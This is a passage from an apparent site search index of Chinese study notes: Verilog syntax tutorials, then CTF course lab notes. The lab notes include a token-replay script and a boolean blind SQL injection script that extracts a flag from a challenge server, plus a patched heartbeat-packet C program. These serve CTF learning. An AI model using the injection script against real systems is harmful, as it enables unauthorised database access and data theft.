\u6b64\u7a0b\u5e8f\u4e2d\u6709<code>always</code>\u548c<code>assign</code>\u4e24\u6761\u8bed\u53e5,\u4ed6\u4eec\u4e4b\u95f4\u662f\u5e76\u884c\u7684;\u6709\u4e00\u4e2a\u5185\u90e8\u53d8\u91cfQ1,\u4f7f\u7528\u65f6\u8981\u8fdb\u884c\u58f0\u660e;</p>"},{"location":"NOTE/CS/Verilog/verilog/#_1","title":"\u5e95\u5c42\u6a21\u5757\u8c03\u7528","text":"<p>\u7c7b\u4f3c\u4e8eC\u8bed\u8a00\u91cc\u9762\u7684\u51fd\u6570\u8c03\u7528,Verilog\u4e2d\u4e5f\u6709\u6a21\u5757\u7684\u8c03\u7528,\u8c03\u7528\u7684\u683c\u5f0f\u4e3a:\u5e95\u5c42\u6a21\u5757\u540d \u4f8b\u5316\u540d (\u7aef\u53e3\u6620\u5c04);</p> Example <p>\u5b9e\u73b0\u5982\u4e0b\u7535\u8def</p> <p></p> <p>\u5148\u5b9a\u4e49\u597dD\u89e6\u53d1\u5668,\u7136\u540e\u518d\u8bbe\u8ba1\u9876\u5c42\u7535\u8def,\u5728\u9876\u5c42\u7535\u8def\u4e2d\u53ef\u8c03\u7528\u5e95\u5c42\u6a21\u5757. <pre><code>module DFF(CLK,D,Q)\noutput reg Q;\ninput CLK,D;\nalways @ (posedge CLK)\n    Q&lt;=D;\nendmodule\n</code></pre> \u7136\u540e,\u5728\u9876\u5c42\u6a21\u5757\u4e2d\u8c03\u7528 <pre><code>module examp (clk,d,a,q)\noutput  q;\ninput clk,d,a;\nwire d1;\nwire q1;\nDFF dff1(.CLK(clk),.D(d1),.Q(q1));\nDFF dff2(q1,d,q);\nor (d1,a,q);\nendmodule\n</code></pre> \u4e3a\u4e86\u8c03\u7528\u5e95\u5c42\u6a21\u5757,\u9700\u8981\u52a0\u4e24\u4e2a\u5185\u90e8\u53d8\u91cfd1\u548cq1,\u5e76\u7ed9\u4e24\u6b21\u8c03\u7528\u7684\u6a21\u5757\u8fdb\u884c\u547d\u540d,\u8c03\u7528\u65f6\u4f8b\u5316\u540d\u4e0d\u80fd\u7701\u7565.</p> <p>\u7aef\u53e3\u6620\u5c04</p> <ul> <li> <p>\u7aef\u53e3\u540d\u5173\u8054\u6cd5(\u547d\u540d\u6cd5),\u5c06\u6a21\u5757\u7684\u7aef\u53e3\u548c\u8c03\u7528\u6a21\u5757\u7684\u73af\u5883\u4e2d\u7684\u53d8\u91cf\u5bf9\u5e94\u8d77\u6765, \u5373(.\u5e95\u5c42\u7aef\u53e3\u540d1(\u5916\u63a5\u4fe1\u53f7\u540d1),.\u5e95\u5c42\u7aef\u53e3\u540d2(\u5916\u63a5\u4fe1\u53f7\u540d2),\u2026) <code>DFF dff1(.CLK(clk),.D(d1),.Q(q1));</code>,\u8fd9\u6837\u7684\u65b9\u6cd5\u56e0\u4e3a\u6709\u540d\u5b57\u5bf9\u5e94,\u4e0d\u5fc5\u6309\u7167\u6a21\u5757\u7684\u7aef\u53e3\u5217\u8868\u6392\u5e8f.</p> </li> <li> <p>\u4f4d\u7f6e\u5173\u8054\u6cd5(\u987a\u5e8f\u6cd5):\u5c06\u6a21\u5757\u7684\u7aef\u53e3\u4ee5\u53ca\u8981\u63a5\u7684\u5916\u90e8\u4fe1\u53f7\u6309\u7167\u6a21\u5757\u5b9a\u4e49\u7684\u987a\u5e8f\u4e00\u4e00\u5bf9\u5e94\u8d77\u6765(\u5916\u63a5\u4fe1\u53f7\u540d1,\u5916\u63a5\u4fe1\u53f7\u540d2,\u2026)   <code>DFF dff2(q1,d,q);</code>,\u8fd9\u6837\u7684\u65b9\u6cd5\u5fc5\u987b\u4e25\u683c\u6309\u7167\u5e95\u5c42\u6a21\u5757\u7684\u7aef\u53e3\u4fe1\u53f7\u5217\u8868\u987a\u5e8f\u4e66\u5199</p> </li> </ul>"},{"location":"NOTE/CS/Verilog/verilog/#_2","title":"\u95e8\u539f\u8bed\u8c03\u7528","text":"<p>Verilog \u8bed\u8a00\u8bed\u8a00\u63d0\u4f9b\u5df2\u7ecf\u8bbe\u8ba1\u597d\u7684\u95e8,\u79f0\u4e3a\u95e8\u539f\u8bed(primitive,\u517112\u4e2a),\u8fd9\u4e9b\u95e8\u53ef\u76f4\u63a5\u8c03\u7528,\u4e0d\u7528\u518d\u5bf9\u5176\u8fdb\u884c\u529f\u80fd\u63cf\u8ff0.</p> <p>\u95e8\u539f\u8bed\u8c03\u7528\u683c\u5f0f\uff1a \u95e8\u539f\u8bed\u540d    \u5b9e\u4f8b\u540d  (\u7aef\u53e3\u8fde\u63a5)</p> <p>Note</p> <p>\u548c\u6a21\u5757\u8c03\u7528\u4e0d\u540c,\u5b9e\u4f8b\u540d\u53ef\u4ee5\u7701\u7565,\u7aef\u53e3\u8fde\u63a5\u53ea\u80fd\u91c7\u7528\u987a\u5e8f\u6cd5,\u8f93\u51fa\u5728\u524d,\u8f93\u5165\u5728\u540e.</p> <p>\u5e38\u89c1\u7684\u95e8\u539f\u8bed</p> <ul> <li> <p>\u4e0e\u95e8\u7b496\u4e2a:<code>and</code>,<code>or</code>,<code>xor</code>,<code>nand</code>,<code>nor</code>,<code>xnor</code>.\u7528\u6cd5\u4f8b\u5982<code>and (out,in1,in2,in3\u00b7\u00b7\u00b7)</code>,\u7b2c\u4e00\u4e2a\u662f\u8f93\u51fa,\u540e\u9762\u8ddf\u7740\u8f93\u5165,\u8f93\u5165\u4e0d\u9650\u5236\u4e2a\u6570</p> </li> <li> <p>\u975e\u95e8:<code>not</code>,\u7528\u6cd5\u4f8b\u5982<code>not (OUT,IN)</code></p> </li> <li> <p>\u7f13\u51b2\u5668:<code>buf</code>,\u7528\u6cd5\u4f8b\u5982<code>buf b1_2out(OUT1, OUT2, IN);</code>,\u524d\u9762\u662f\u8f93\u51fa,\u6700\u540e\u4e00\u4e2a\u662f\u8f93\u5165,\u8f93\u51fa\u4e2a\u6570\u4e0d\u9650.</p> </li> <li> <p>\u4e09\u6001\u95e8</p> <ul> <li>bufif1(\u63a7\u5236\u7aef1\u6709\u6548\u7f13\u51b2\u5668) </li> <li>bufif0 (\u63a7\u5236\u7aef0\u6709\u6548\u7f13\u51b2\u5668)</li> <li>notif1(\u63a7\u5236\u7aef1\u6709\u6548\u975e\u95e8)</li> <li>notif0(\u63a7\u5236\u7aef0\u6709\u6548\u975e\u95e8)</li> <li>\u7aef\u53e3\u5217\u8868\u4e2d\u524d\u9762\u662f\u8f93\u51fa,\u4e2d\u95f4\u662f\u8f93\u5165,\u6700\u540e\u662f\u4f7f\u80fd\u7aef,\u8f93\u51fa\u4e2a\u6570\u4e0d\u9650</li> </ul> </li> </ul> Hint <p> <pre><code>bufif1 b1 (out, in, ctrl);\nbufif0 b0 (out, in, ctrl);\nnotif1 n1 (out, in, ctrl);\nnotif0 n0 (out, in, ctrl);\n</code></pre></p>"},{"location":"NOTE/CS/Verilog/verilog/#verilog_1","title":"Verilog\u4e2d\u7684\u6570\u636e\u7c7b\u578b","text":"<p>Verilog\u4e2d\u7684\u6570\u636e\u7c7b\u578b\u5206\u4e3a\u4e24\u5927\u7c7b:net(\u7ebf\u7f51)\u7c7b\u548cvariable(\u53d8\u91cf)\u7c7b</p> <p>Note</p> <p>\u56e0\u8fde\u7eed\u8d4b\u503c\u8bed\u53e5\u548c\u8fc7\u7a0b\u8d4b\u503c\u8bed\u53e5\u7684\u6fc0\u6d3b\u7279\u70b9\u4e0d\u540c,\u6545\u8d4b\u503c\u76ee\u6807\u7279\u70b9\u4e5f\u4e0d\u540c,\u524d\u8005\u4e0d\u9700\u8981\u4fdd\u5b58,\u540e\u8005\u9700\u8981\u4fdd\u5b58,\u56e0\u6b64\u89c4\u5b9a\u4e24\u79cd\u6570\u636e\u7c7b\u578b,net\u578b\u7528\u4e8e\u8fde\u7eed\u8d4b\u503c\u7684\u8d4b\u503c\u76ee\u6807\u6216\u95e8\u539f\u8bed\u7684\u8f93\u51fa,\u4e14\u4eff\u771f\u65f6\u4e0d\u9700\u8981\u5206\u914d\u5185\u5b58\u7a7a\u95f4,variable\u7528\u4e8e\u8fc7\u7a0b\u8d4b\u503c\u7684\u8d4b\u503c\u76ee\u6807,\u4e14\u4eff\u771f\u65f6\u9700\u8981\u5206\u914d\u5185\u5b58\u7a7a\u95f4.</p> <ul> <li>net \u7c7b\u4e2d\u7684\u6570\u636e\u7c7b\u578b(\u5e38\u7528wire)</li> </ul> wire(\u7ebf\u578b) tri(\u4e09\u6001) tri0(\u4e0b\u62c9\u7535\u963b) supply0(\u5730) wand(\u7ebf\u4e0e) triand(\u4e09\u6001\u4e0e) tri1(\u4e0a\u62c9\u7535\u963b) supply1(\u7535\u6e90) wor(\u7ebf\u6216) trior(\u4e09\u6001\u6216) trireg(\u7535\u5bb9\u6027\u7ebf\u7f51) <ul> <li>Variable\u7c7b\u4e2d\u7684\u6570\u636e\u7c7b\u578b(\u5e38\u7528reg)</li> </ul> reg(\u5bc4\u5b58\u5668\u578b) integer(\u6574\u578b) time(\u65f6\u95f4\u578b) real(\u5b9e\u578b) realtime(\u5b9e\u65f6\u95f4\u578b) Info <p>\u5c06\u4e00\u4e2a\u4fe1\u53f7\u5b9a\u4e49\u6210net\u578b\u8fd8\u662fvarible\u578b,\u7531\u4ee5\u4e0b\u4e24\u65b9\u9762\u51b3\u5b9a</p> <p>a.\u4f7f\u7528\u4f55\u79cd\u8d4b\u503c\u8bed\u53e5\u5bf9\u8be5\u4fe1\u53f7\u8fdb\u884c\u8d4b\u503c,\u5982\u679c\u662f\u8fde\u7eed\u8d4b\u503c\u6216\u95e8\u539f\u8bed\u8d4b\u503c\u6216\u4f8b\u5316\u8bed\u53e5\u8d4b\u503c,\u5219\u5b9a\u4e49\u6210net\u578b;\u5982\u679c\u662f\u8fc7\u7a0b\u8d4b\u503c\u5219\u5b9a\u4e49\u6210variable\u578b.</p> <p>b.\u5bf9\u4e8e\u7aef\u53e3\u4fe1\u53f7\u6765\u8bf4,input\u4fe1\u53f7\u548cinout\u4fe1\u53f7\u5fc5\u987b\u5b9a\u4e49\u6210net\u578b\u7684;output\u4fe1\u53f7\u53ef\u4ee5\u662fnet\u578b\u7684\u4e5f\u53ef\u4ee5\u662fvariable\u578b\u7684,\u51b3\u5b9a\u4e8e\u5982\u4f55\u5bf9\u5176\u8d4b\u503c(\u540ca).</p> <p></p> <p>Example</p> <p></p> <p>\u8be5\u56fe\u4e2dd\u548ce\u7684\u8d4b\u503c\u6709\u4e09\u79cd\u65b9\u6cd5</p> <ul> <li> <p>\u4f7f\u7528\u8fde\u7eed\u8d4b\u503c\u8bed\u53e5   <pre><code>assign d=a&amp;b;\nassign e=d|c;\n</code></pre>   \u6b64\u65f6,d\u548ce\u5fc5\u987b\u5b9a\u4e49\u4e3anet\u7c7b\u7684</p> </li> <li> <p>\u4f7f\u7528\u95e8\u539f\u8bed\u8d4b\u503c   <pre><code>and (d,a,b);\nor (e,d,c);\n</code></pre>   \u6b64\u65f6,d\u548ce\u4e5f\u5fc5\u987b\u662fnet\u7c7b\u7684</p> </li> <li> <p>\u4f7f\u7528\u8fc7\u7a0b\u8d4b\u503c\u8bed\u53e5 <pre><code>   always @(a,b,d,c)\n    begin\n      d=a&amp;b;\n      e=d|c;\n    end\n</code></pre> \u6b64\u65f6d\u548ce\u5fc5\u987b\u662freg\u7c7b\u578b\u7684.</p> </li> </ul> <p>\u6211\u4eec\u4e5f\u53ef\u4ee5\u5728\u8fd9\u91cc\u56de\u5fc6\u4e00\u4e0b,\u8fd9\u91ccd\u5148\u6539\u53d8\u4e86,e\u4f1a\u53d7\u5230d\u7684\u5f71\u54cd,\u6240\u4ee5\u9700\u8981\u4f7f\u7528\u963b\u585e\u8d4b\u503c. </p>"},{"location":"NOTE/CS/Verilog/verilog/#verilog_2","title":"Verilog\u4e2d\u6570\u5b57\u7684\u8868\u793a\u683c\u5f0f\u4ee5\u53ca\u903b\u8f91\u503c","text":"<ul> <li>\u65e0\u7b26\u53f7\u6570\u7684\u8868\u793a\u65b9\u6cd5:<code>\u4f4d\u5bbd</code>+<code>'</code>+<code>\u8fdb\u5236</code>+<code>\u6570\u5b57</code>(5'd8,\u4e94\u4f4d\u5341\u8fdb\u52368,\u4e5f\u5c31\u662f\\((01000)_2\\))</li> <li>\u6709\u7b26\u53f7\u6570\u7684\u8868\u793a\u65b9\u6cd5:<code>\u4f4d\u5bbd</code>+<code>'</code>+<code>sb</code>+<code>\u6570\u5b57</code>(8'sb10111011,\u7b2c\u4e00\u4f4d\u662f\u7b26\u53f7\u4f4d,\u662f\\(-(01000101)_2=-69_{10}\\))</li> <li>Verilog\u8bed\u8a00\u4e2d\u7684\u903b\u8f91\u503c\u6709\u56db\u79cd:<ul> <li>1\uff1a\u903b\u8f911\uff0c\u9ad8\u7535\u5e73\uff0c\u6570\u5b571</li> <li>0\uff1a\u903b\u8f910\uff0c\u4f4e\u7535\u5e73\uff0c\u6570\u5b570</li> <li>x\uff1a\u4e0d\u786e\u5b9a</li> <li>z\uff1a\u9ad8\u963b\u6001</li> </ul> </li> </ul>"},{"location":"NOTE/CS/Verilog/verilog/#if","title":"if\u8bed\u53e5","text":"<p>Verilog\u4e2d\u6709\u56db\u79cd\u7c7b\u578b\u7684if\u8bed\u53e5,\u5927\u81f4\u4e5f\u8ddfC\u8bed\u8a00\u7c7b\u4f3c</p> <ul> <li><code>if(&lt;\u6761\u4ef6\u8868\u8fbe\u5f0f&gt;)\u8bed\u53e5;</code></li> <li><code>if(&lt;\u6761\u4ef6\u8868\u8fbe\u5f0f&gt;)\u771f\u8bed\u53e5;else \u5047\u8bed\u53e5;</code></li> <li><code>verilog   if (&lt;\u6761\u4ef6\u8868\u8fbe\u5f0f1&gt;)\u8bed\u53e51;   else if (&lt;\u6761\u4ef6\u8868\u8fbe\u5f0f2&gt;)\u8bed\u53e52 ;   else if (&lt;\u6761\u4ef6\u8868\u8fbe\u5f0f3&gt;)\u8bed\u53e53 ;</code></li> <li> <p><code>Verilog   if (&lt;\u6761\u4ef6\u8868\u8fbe\u5f0f1&gt;)\u8bed\u53e51 ;   else if (&lt;\u6761\u4ef6\u8868\u8fbe\u5f0f2&gt;)\u8bed\u53e52 ;   else if (&lt;\u6761\u4ef6\u8868\u8fbe\u5f0f3&gt;)\u8bed\u53e53 ;   else \u9ed8\u8ba4\u8bed\u53e5 ;</code></p> </li> <li> <p>\u591a\u6761\u8bed\u53e5\u65f6\u4f7f\u7528<code>begin</code> <code>end</code></p> </li> </ul> <p>Eexample</p> <p>\u8ba1\u6570\u5668 <pre><code>always @(posedge CLK)\nif (!RST) Q=0;\nelse Q=Q+1;  \n</code></pre></p> Danger <p>\u5728\u7528if\u8bed\u53e5\u8bbe\u8ba1\u201c\u7ec4\u5408\u7535\u8def\u201d\u65f6\u8981\u6ce8\u610f\uff0c\u5982\u679c\u6761\u4ef6\u4e0d\u5b8c\u6574\uff0c\u4f1a\u7efc\u5408\u51fa\u5bc4\u5b58\u5668\u3002</p> <p>\u4f7f\u6761\u4ef6\u5b8c\u6574\u7684\u4e24\u79cd\u65b9\u6cd5:</p> <ul> <li>\u52a0else</li> <li>\u8bbe\u521d\u503c</li> </ul> <p></p> <pre><code>always @(a,b)\nif (sel) Q=a;\nelse      Q=b;\n</code></pre> <p><code>Verilog always @(a,b) Q=a; if (sel) Q=b;</code></p> <ul> <li>\u6761\u4ef6\u8868\u8fbe\u5f0f\u683c\u5f0f:(\u8ba1\u7b97\u8868\u8fbe\u5f0f),\u8ba1\u7b97\u8868\u8fbe\u5f0f\u53ef\u4ee5\u662f\u4efb\u610f\u5f62\u5f0f\u7684\u8868\u8fbe\u5f0f\uff1b\u6761\u4ef6\u8868\u8fbe\u5f0f\u7684\u7ed3\u679c\u53ea\u67090\u548c1\u4e24\u79cd\uff0c\u5982\u679c\u8ba1\u7b97\u8868\u8fbe\u5f0f\u7684\u503c\u4e3a0\uff0c\u5219\u6761\u4ef6\u8868\u8fbe\u5f0f\u7684\u503c\u4e3a0\uff0c\u5426\u5219\u4e3a1\u3002</li> </ul> <p>\u4f8b\u5982,\u8bbea=1000,b=0110</p> \u6761\u4ef6\u8868\u8fbe\u5f0f \u8ba1\u7b97\u8868\u8fbe\u5f0f \u7ed3\u679c if (a==b) 0 0 if (a&gt;b) 1 1 if (a) 1000 1 if (a*b) 11_0000(\u524d\u4e24\u4f4d\u88ab\u622a\u6389) 0 if (a b) 1110 if (a&amp;b) 0000 0"},{"location":"NOTE/CS/Verilog/verilog/#case","title":"Case \u8bed\u53e5","text":"<p>\u529f\u80fd\u7c7b\u4f3c\u4e8eC\u8bed\u8a00\u4e2d\u7684<code>switch case</code>\u8bed\u53e5</p> <p>\u683c\u5f0f: <pre><code>    case (\u8868\u8fbe\u5f0f)\n    \u53d6\u503c1: \u8bed\u53e51;\n    \u53d6\u503c2: \u8bed\u53e52;\n    \u53d6\u503c3: \u8bed\u53e53;\n    ...\n    ...\n    default: \u9ed8\u8ba4\u8bed\u53e5;\n    endcase\n</code></pre></p> <p><code>default</code>\u8bed\u53e5\u53ef\u52a0\u53ef\u4e0d\u52a0,\u4f46\u662f\u8981\u6ce8\u610f\u6761\u4ef6\u7684\u5b8c\u6574\u6027</p>"},{"location":"NOTE/CS/Verilog/verilog/#verilog_3","title":"Verilog\u7684\u8bed\u8a00\u63cf\u8ff0\u98ce\u683c","text":"<ul> <li>\u7ed3\u6784\u5316\u63cf\u8ff0(\u4e5f\u79f0\u95e8\u7ea7\u63cf\u8ff0,\u5168\u90e8\u4f7f\u7528\u95e8\u539f\u8bed\u548c\u5e95\u5c42\u6a21\u5757\u8c03\u7528)</li> <li>\u6570\u636e\u6d41\u7ea7\u63cf\u8ff0(\u5168\u90e8\u7528<code>assign</code> \u8bed\u53e5)</li> <li>\u884c\u4e3a\u7ea7\u63cf\u8ff0(\u5168\u90e8\u7528<code>always</code>\u8bed\u53e5\u914d\u5408<code>if``case</code>\u8bed\u53e5\u7b49)</li> <li>RTL\u7ea7\u63cf\u8ff0\u65b9\u5f0f(\u6570\u636e\u6d41\u7ea7+\u884c\u4e3a\u7ea7\uff0c\u53ef\u7efc\u5408)</li> <li>\u5b9e\u9645\u63cf\u8ff0\u662f\u4e09\u79cd\u6df7\u5408\u7684</li> </ul> <p>Example</p> <p> \u95e8\u7ea7\u63cf\u8ff0 <pre><code>module mux4_to_1 (out, i0, i1, i2, i3, s1, s0);\noutput out;\ninput i0, i1, i2, i3;\ninput s1, s0;\n\nwire s1n, s0n;\nwire y0, y1, y2, y3;\n\nnot (s1n, s1);\nnot (s0n, s0);\n\nand (y0, i0, s1n, s0n);\nand (y1, i1, s1n, s0);\nand (y2, i2, s1, s0n);\nand (y3, i3, s1, s0);\n\nor (out, y0, y1, y2, y3);\nendmodule\n</code></pre></p> <p>\u6570\u636e\u6d41\u7ea7\u63cf\u8ff0 <pre><code>module mux4_to_1  (out, i0, i1, i2, i3, s1, s0);\noutput out\uff0c\ninput i0, i1, i2, i3;\ninput s1, s0;\nassign out = (~s1 &amp; ~s0 &amp; i0)|(~s1 &amp; s0 &amp; i1) |(s1 &amp; ~s0 &amp; i2) |(s1 &amp; s0 &amp; i3) ;\nendmodule\n</code></pre></p> <p>\u884c\u4e3a\u7ea7\u63cf\u8ff0 <pre><code>module mux4_to_1(out, i0, i1, i2, i3, s1, s0);\noutput out;\ninput i0, i1, i2, i3;\ninput s1, s0;\nreg out;\nalways @(s1 or s0 or i0 or i1 or i2 or i3)\n begin\n    case ({s1, s0})\n       2'b00: out = i0;\n       2'b01: out = i1;\n       2'b10: out = i2;\n       2'b11: out = i3;\n       default: out = 1'bx;\n     endcase\n  end\nendmodule\n</code></pre></p>"},{"location":"NOTE/CS/Verilog/verilog/#_3","title":"\u5176\u4ed6\u89c4\u5b9a","text":"<ul> <li> <p>\u5173\u952e\u5b57:\u5173\u952e\u5b57\u5373Verilog\u8bed\u8a00\u4e2d\u9884\u5b9a\u4e49\u7684\u6709\u7279\u6b8a\u542b\u4e49\u7684\u82f1\u6587\u8bcd\u8bed</p> </li> <li> <p>\u6807\u8bc6\u7b26:\u6807\u8bc6\u7b26\u5373\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u4fe1\u53f7\u540d\u3001\u6a21\u5757\u540d\u7b49\u7b49\uff1b   \u6ce8\u610f\u5173\u952e\u5b57\u4e0d\u80fd\u4f5c\u6807\u8bc6\u7b26\uff1b   Verilog\u533a\u522b\u5927\u5c0f\u5199\uff08\u5173\u952e\u5b57\u90fd\u662f\u5c0f\u5199\uff09</p> </li> <li> <p>Verilog\u6587\u4ef6\u6269\u5c55\u540d\u4e3a.v\uff1bverilog\u4e0d\u8981\u6c42\u6587\u4ef6\u540d\u548c\u6a21\u5757\u540d\u4e00\u81f4</p> </li> <li> <p>\u6ce8\u91ca:\u548cC\u8bed\u8a00\u4e00\u6837,//\u5355\u884c\u6ce8\u91ca,/**/\u591a\u884c\u6ce8\u91ca</p> </li> </ul>"},{"location":"NOTE/CTF/CTF/","title":"\u6d59\u6c5f\u5927\u5b66AAA\u77ed\u5b66\u671f\u8bfe\u7a0b","text":"<p> \u7ea6 320 \u4e2a\u5b57  117 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 3 \u5206\u949f</p> <p>\u8be6\u7ec6\u7684lab\u4e0e\u4ee3\u7801\u5747\u4f1a\u4e0a\u4f20\u5230\u4ed3\u5e93</p>"},{"location":"NOTE/CTF/CTF/#7-2-lec1","title":"7-2 lec1","text":"<p>\u6388\u8bfe\uff1a\u5e38\u745e\uff0c\u738b\u9e64\u7fd4(TonyCrane)</p>"},{"location":"NOTE/CTF/CTF/#courese-website","title":"courese website","text":""},{"location":"NOTE/CTF/CTF/#_1","title":"\u8bfe\u7a0b\u4ecb\u7ecd","text":"<p>\u7b2c\u4e00\u8282\u8bfe\u4f8b\u884c\u4ecb\u7ecd\u8bfe\u7a0b\u5185\u5bb9\uff0c\u8001\u5e08\u4ee5\u53caTA\uff0cCTF\u4ecb\u7ecd:</p> <ul> <li> <p>web</p> </li> <li> <p>misc</p> </li> <li> <p>crypto</p> </li> <li> <p>pwn</p> </li> <li> <p>reverse</p> </li> <li> <p>\u8457\u540dCTF\u6bd4\u8d5b\u4ecb\u7ecd </p> </li> </ul> <p>Note</p> <ul> <li>\u57fa\u7840\u6a21\u5757 lab0+5\u4e2a\u5b9e\u9a8c 55%</li> <li>\u8003\u52e4 %5</li> <li>\u4e94\u4e2a\u4e13\u9898 \u6bcf\u6b21\u4f5c\u4e1a 20% \uff0c\u81ea\u90092\u4e2a\u6216\u4ee5\u4e0a</li> </ul>"},{"location":"NOTE/CTF/CTF/#ctf","title":"\u5982\u4f55\u5b66\u4e60CTF","text":"<ul> <li> <p>CTF-wiki</p> </li> <li> <p>hello-CTF </p> </li> <li> <p>zju\u6821\u8d5b</p> </li> <li> <p>Hackergame</p> </li> </ul>"},{"location":"NOTE/CTF/CTF/#lab0","title":"lab0","text":"<p>lab0 \u4f5c\u4e3a\u8bfe\u7a0b\u7b2c\u4e00\u4e2a\u4f5c\u4e1a\uff0c\u9700\u8981\u5168\u90e8\u505a\u5b8c</p> <p>Note</p> <p>\u7531\u4e8elab0\u62a5\u544a\u4e2d\u6211\u5df2\u7ecf\u5199\u8fc7\u4e00\u904d\u89e3\u91ca\uff0c\u4e0d\u60f3\u518d\u7167\u642c\u4e0a\u6765\u529b\uff0c\u6240\u4ee5\u53ea\u5199\u4e2a\u5927\u6982</p>"},{"location":"NOTE/CTF/CTF/#web","title":"Web","text":""},{"location":"NOTE/CTF/CTF/#token","title":"Token","text":"<p>\u80cc\u666f\uff1a\u70b9\u51fb\u4e00\u4e2a\u6309\u94ae1337\u6b21\u4f1a\u5f97\u5230Flag\uff0c\u4f46\u662f\u9f20\u6807\u9760\u8fd1\u5c31\u4f1a\u4f7f\u5f97\u6309\u94ae\u6d88\u5931\uff0cF12\u67e5\u770b\u6e90\u4ee3\u7801\u4e5f\u88ab\u7981\u6b62\u3002</p> <ul> <li> <p>view-source\uff1a    </p> </li> <li> <p><code>curl</code>\u547d\u4ee4     </p> </li> </ul> <p>\u9700\u8981\u4ee5\u540c\u4e00\u4e2a\u7528\u6237\u6765\u6267\u884c1337\u6b21\u70b9\u51fb</p> Hint <pre><code>import requests\n\nimport re\n\nsess = requests.Session()\n\nfor i in range(1337):\n    res=sess.get(\"http://pumpk1n.com/lab0.php\")\n    r = re.findall(r\"token=(.*)'\",res.text)\n    flag=sess.get(f\"http://pumpk1n.com/flag.php?token={r[0]}\")\n    if(i==1336):\n      print(flag.text)\n</code></pre>"},{"location":"NOTE/CTF/CTF/#_2","title":"\u5e03\u5c14\u76f2\u6ce8","text":"<p>\u53ea\u6709\u4e24\u79cd\u8f93\u5165\u88ab\u5141\u8bb8\uff0c\u7a7a\u683c\u4e5f\u4e0d\u5141\u8bb8\uff0c1\u548c2\uff0c\u4f46\u662f\u4f1a\u8fdb\u884c\u5e03\u5c14\u8fd0\u7b97\uff0c\u53ef\u4ee5\u5229\u7528\u62ec\u53f7\u4ee3\u66ff\u7a7a\u683c</p> Hint <pre><code>import requests\nimport string\n\n\nflag=''\nurl='http://040601e5-a92b-4bc9-8831-f9863d3d8381.node5.buuoj.cn:81/'\nascii_list=string.printable\ndone=0\nindex=0\nwhile done != 1:\n    for i in ascii_list:\n        input='if(ascii(substr((select(flag)from(flag)),{0},1))={1},1,2)'.format(index,ord(i))\n        post_in={\"id\":input}\n        res=requests.post(url=url,data=post_in)\n        if 'glzjin' in res.text:\n            flag+=i\n            print(flag)\n            index+=1\n            if i=='}':\n                done=1\n            break\n</code></pre>"},{"location":"NOTE/CTF/CTF/#pwn","title":"Pwn","text":"<p>\u5bfb\u627e\u53ef\u80fd\u53d1\u751f\u7684\u5185\u5b58\u6cc4\u6f0f</p> Hint <pre><code>    #include &lt;stdio.h&gt;\n    #include &lt;stdlib.h&gt;\n    #include &lt;string.h&gt;\n    #include &lt;stdint.h&gt;\n    #include &lt;stdbool.h&gt;\n\n    struct hbpkt\n    {\n        uint32_t size;\n        uint32_t timestamp;\n        uint32_t index;\n        uint32_t cred;\n        char data[];\n    };\n\n    struct hbpkt *get_heart_beat()\n    {\n        uint8_t buffer[0x1000] = {0};\n        fread(buffer, sizeof(struct hbpkt), 1, stdin);\n\n        struct hbpkt *tmp = (struct hbpkt *)buffer;\n\n        if (tmp-&gt;size &gt; 0x1000)\n            return NULL;\n\n        if(tmp-&gt;size &gt; sizeof(struct hbpkt))fread(tmp-&gt;data, tmp-&gt;size - sizeof(struct hbpkt), 1, stdin);\n        else {\n            printf(\"Invalid size\\n\");\n            return NULL;\n        }//\u589e\u52a0\u5224\u65ad\uff0c\u9632\u6b62 size \u5c0f\u4e8e\u7b49\u4e8e sizeof(struct hbpkt) \u65f6\u65e0\u7b26\u53f7\u6570\u6ea2\u51fa\n\n        uint32_t real_size = sizeof(struct hbpkt) + strlen(tmp-&gt;data);\n\n        struct hbpkt *res = malloc(real_size);\n\n        if (!res)\n            return NULL;\n\n        memcpy(res, buffer, real_size);\n\n        res-&gt;index += 1;\n        res-&gt;size = real_size;//\u66f4\u65b0size\uff0c\u9632\u6b62\u6ea2\u51fa\n\n        return res;\n    }\n\n    int reply_heart_beat(struct hbpkt *pkt)\n    {\n        int err=0;\n        int written;\n\n        if (pkt-&gt;size)\n        {\n            written = fwrite(pkt, 1, pkt-&gt;size, stdout);\n            fflush(stdout);\n        }\n\n        if (written == 0 || written != pkt-&gt;size)\n        {\n            err = 1;\n        }\n\n        return err;\n    }\n\n    int main()\n    {\n        int err;\n        while (true)\n        {\n            struct hbpkt *p = get_heart_beat();\n            if (!p)\n                continue;\n\n            err = reply_heart_beat(p);\n\n            if (err)\n            {\n                free(p);\n                continue;\n            }\n            free(p);//\u91ca\u653e\u5185\u5b58\n        }\n    }  \n</code></pre>"},{"location":"NOTE/CTF/CTF/#reverse","title":"Reverse","text":"<p>\u53cd\u6c47\u7f16IDA\u5de5\u5177\u7684\u4f7f\u7528</p>"},{"location":"NOTE/CTF/CTF/#misc","title":"Misc","text":""},{"location":"NOTE/CTF/CTF/#cyperchef","title":"Cyperchef\uff0c\u795e\u5947\u5999\u5999\u5c0f\u5de5\u5177","text":""},{"location":"NOTE/CTF/CTF/#lsb","title":"LSB\u9690\u5199","text":""},{"location":"NOTE/CTF/CTF/#crypto","title":"Crypto","text":""},{"location":"NOTE/CTF/CTF/#-","title":"\u53e4\u5178\u5bc6\u7801-\u8df3\u821e\u7684\u5c0f\u4eba","text":""},{"location":"NOTE/CTF/CTF/#rsa-","title":"RSA\u89e3\u5bc6-\u6a21\u9006\u5143\u6c42\u89e3","text":""},{"location":"NOTE/CTF/Crypto/","title":"Crypto","text":"<p> \u7ea6 1412 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 5 \u5206\u949f</p> <p>\u6388\u8bfe\uff1a\u57ce\u5821</p>"},{"location":"NOTE/CTF/Crypto/#_1","title":"\u5bc6\u7801\u5b66\u57fa\u7840","text":"<p>\u5bc6\u7801\u5b66\u662f\u7814\u7a76\u7f16\u5236\u5bc6\u7801\u548c\u7834\u8bd1\u5bc6\u7801\u7684\u6280\u672f\u79d1\u5b66</p> <ul> <li>\u8bbe\u8ba1\u52a0\u89e3\u5bc6\u7b97\u6cd5</li> <li>\u7834\u89e3\u52a0\u89e3\u5bc6\u7b97\u6cd5</li> 